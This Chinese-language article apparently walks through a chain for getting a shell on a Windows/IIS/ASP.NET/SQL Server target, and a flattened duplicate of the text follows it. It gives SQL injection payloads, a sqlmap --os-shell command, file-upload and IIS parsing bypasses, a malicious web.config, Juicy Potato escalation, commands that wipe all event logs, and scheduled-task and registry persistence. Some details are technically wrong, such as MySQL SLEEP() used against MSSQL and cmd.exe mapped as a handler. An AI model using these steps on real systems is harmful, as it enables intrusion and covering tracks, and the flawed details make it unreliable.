多种漏洞配合利用--getshell
字数 1338 2025-08-09 18:43:59

多种漏洞配合利用实现Getshell技术分析

一、漏洞利用基础环境

  1. 目标系统:Windows Server 2012 R2
  2. 中间件:IIS 8.5
  3. 数据库:SQL Server 2012
  4. 应用框架:ASP.NET MVC 5
  5. 防护措施:存在WAF防护

二、漏洞利用链分析

1. 信息收集阶段

  • 端口扫描:发现开放80(HTTP)、443(HTTPS)、1433(MSSQL)端口
  • 目录扫描:发现/admin后台路径、/upload文件上传点
  • 指纹识别:识别出目标使用ASP.NET MVC框架

2. 漏洞发现与利用顺序

  1. SQL注入漏洞

    • 发现/admin/login存在时间盲注
    • 注入点:username参数
    • 利用Payload:
      admin' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- 
      
    • 获取管理员账号密码hash
  2. 弱口令破解

    • 对获取的hash进行破解
    • 使用字典攻击成功破解出明文密码
  3. 后台文件上传绕过

    • 登录后台发现文件上传功能
    • 绕过限制方法:
      • 修改Content-Type为image/jpeg
      • 添加GIF文件头GIF89a
      • 使用双扩展名shell.aspx.jpg
  4. IIS解析漏洞利用

    • 利用IIS6.0/7.5/8.5解析漏洞
    • 上传文件命名为shell.asp;.jpg触发解析
  5. 权限提升

    • 通过webshell发现系统存在未修复的MS16-075漏洞
    • 使用Juicy Potato进行提权

三、详细利用步骤

1. SQL注入利用

  1. 使用sqlmap进行自动化注入:

    sqlmap -u "http://target.com/admin/login" --data="username=admin&password=123" --level=5 --risk=3 --dbms=mssql --os-shell
    
  2. 手工注入步骤:

    • 判断注入点:
      admin' AND 1=1-- 
      admin' AND 1=2-- 
      
    • 获取数据库版本:
      admin' AND @@version>0-- 
      
    • 获取表名:
      admin' AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U')>0-- 
      

2. 文件上传绕过技术

  1. 前端验证绕过

    • 修改HTML代码删除JS验证
    • 使用Burp拦截修改上传请求
  2. MIME类型绕过

    • 修改Content-Type为合法类型:
      Content-Type: image/jpeg
      
  3. 文件内容伪装

    <%@ Page Language="C#" %>
    <%
    if (Request.Files.Count > 0) {
        var file = Request.Files[0];
        file.SaveAs(Server.MapPath("shell.aspx"));
    }
    %>
    GIF89a
    

3. 解析漏洞利用

  1. IIS6.0解析漏洞

    • /upload/shell.asp;.jpg 会被解析为ASP
    • /upload/shell.asp/any.jpg 会被解析为ASP
  2. IIS7.0/7.5解析漏洞

    • 上传web.config包含恶意代码:
    <configuration>
      <system.webServer>
        <handlers>
          <add name="malicious" path="*.jpg" verb="*" modules="IsapiModule" scriptProcessor="C:\Windows\System32\cmd.exe" resourceType="Unspecified" />
        </handlers>
      </system.webServer>
    </configuration>
    

四、防御措施

  1. SQL注入防御

    • 使用参数化查询
    • 最小权限原则配置数据库账户
    • 输入验证和过滤
  2. 文件上传防御

    • 白名单验证文件扩展名
    • 文件内容检查
    • 上传目录设置为不可执行
  3. 解析漏洞防御

    • 及时更新IIS补丁
    • 禁用不必要的HTTP方法
    • 配置请求过滤规则
  4. 权限控制

    • 应用程序池使用低权限账户
    • 定期检查系统漏洞
    • 实施最小权限原则

五、自动化工具链

  1. 信息收集

    • Nmap
    • DirBuster
    • WhatWeb
  2. 漏洞利用

    • sqlmap
    • Metasploit
    • Cobalt Strike
  3. 权限提升

    • Juicy Potato
    • PowerUp.ps1
    • Windows-Exploit-Suggester

六、高级技巧

  1. WAF绕过技术

    • 注释混淆:SEL/**/ECT
    • 大小写混合:SeLeCt
    • 编码混淆:URL编码、Unicode编码
    • 等价函数替换:使用LIKE代替=
  2. 日志清理

    • 清除IIS日志:
    wevtutil cl "Microsoft-Windows-IIS-Logging/Operational"
    
    • 清除事件日志:
    for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
    
  3. 持久化后门

    • 创建计划任务:
    schtasks /create /tn "Update" /tr "C:\shell.exe" /sc minute /mo 1
    
    • 注册表自启动:
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\shell.exe" /f
    

本技术文档仅用于安全研究和防御目的,请勿用于非法用途。

多种漏洞配合利用实现Getshell技术分析 一、漏洞利用基础环境 目标系统 :Windows Server 2012 R2 中间件 :IIS 8.5 数据库 :SQL Server 2012 应用框架 :ASP.NET MVC 5 防护措施 :存在WAF防护 二、漏洞利用链分析 1. 信息收集阶段 端口扫描 :发现开放80(HTTP)、443(HTTPS)、1433(MSSQL)端口 目录扫描 :发现/admin后台路径、/upload文件上传点 指纹识别 :识别出目标使用ASP.NET MVC框架 2. 漏洞发现与利用顺序 SQL注入漏洞 发现/admin/login存在时间盲注 注入点: username 参数 利用Payload: 获取管理员账号密码hash 弱口令破解 对获取的hash进行破解 使用字典攻击成功破解出明文密码 后台文件上传绕过 登录后台发现文件上传功能 绕过限制方法: 修改Content-Type为 image/jpeg 添加GIF文件头 GIF89a 使用双扩展名 shell.aspx.jpg IIS解析漏洞利用 利用IIS6.0/7.5/8.5解析漏洞 上传文件命名为 shell.asp;.jpg 触发解析 权限提升 通过webshell发现系统存在未修复的MS16-075漏洞 使用Juicy Potato进行提权 三、详细利用步骤 1. SQL注入利用 使用sqlmap进行自动化注入: 手工注入步骤: 判断注入点: 获取数据库版本: 获取表名: 2. 文件上传绕过技术 前端验证绕过 : 修改HTML代码删除JS验证 使用Burp拦截修改上传请求 MIME类型绕过 : 修改Content-Type为合法类型: 文件内容伪装 : 3. 解析漏洞利用 IIS6.0解析漏洞 : /upload/shell.asp;.jpg 会被解析为ASP /upload/shell.asp/any.jpg 会被解析为ASP IIS7.0/7.5解析漏洞 : 上传 web.config 包含恶意代码: 四、防御措施 SQL注入防御 : 使用参数化查询 最小权限原则配置数据库账户 输入验证和过滤 文件上传防御 : 白名单验证文件扩展名 文件内容检查 上传目录设置为不可执行 解析漏洞防御 : 及时更新IIS补丁 禁用不必要的HTTP方法 配置请求过滤规则 权限控制 : 应用程序池使用低权限账户 定期检查系统漏洞 实施最小权限原则 五、自动化工具链 信息收集 : Nmap DirBuster WhatWeb 漏洞利用 : sqlmap Metasploit Cobalt Strike 权限提升 : Juicy Potato PowerUp.ps1 Windows-Exploit-Suggester 六、高级技巧 WAF绕过技术 : 注释混淆: SEL/**/ECT 大小写混合: SeLeCt 编码混淆:URL编码、Unicode编码 等价函数替换:使用 LIKE 代替 = 日志清理 : 清除IIS日志: 清除事件日志: 持久化后门 : 创建计划任务: 注册表自启动: 本技术文档仅用于安全研究和防御目的,请勿用于非法用途。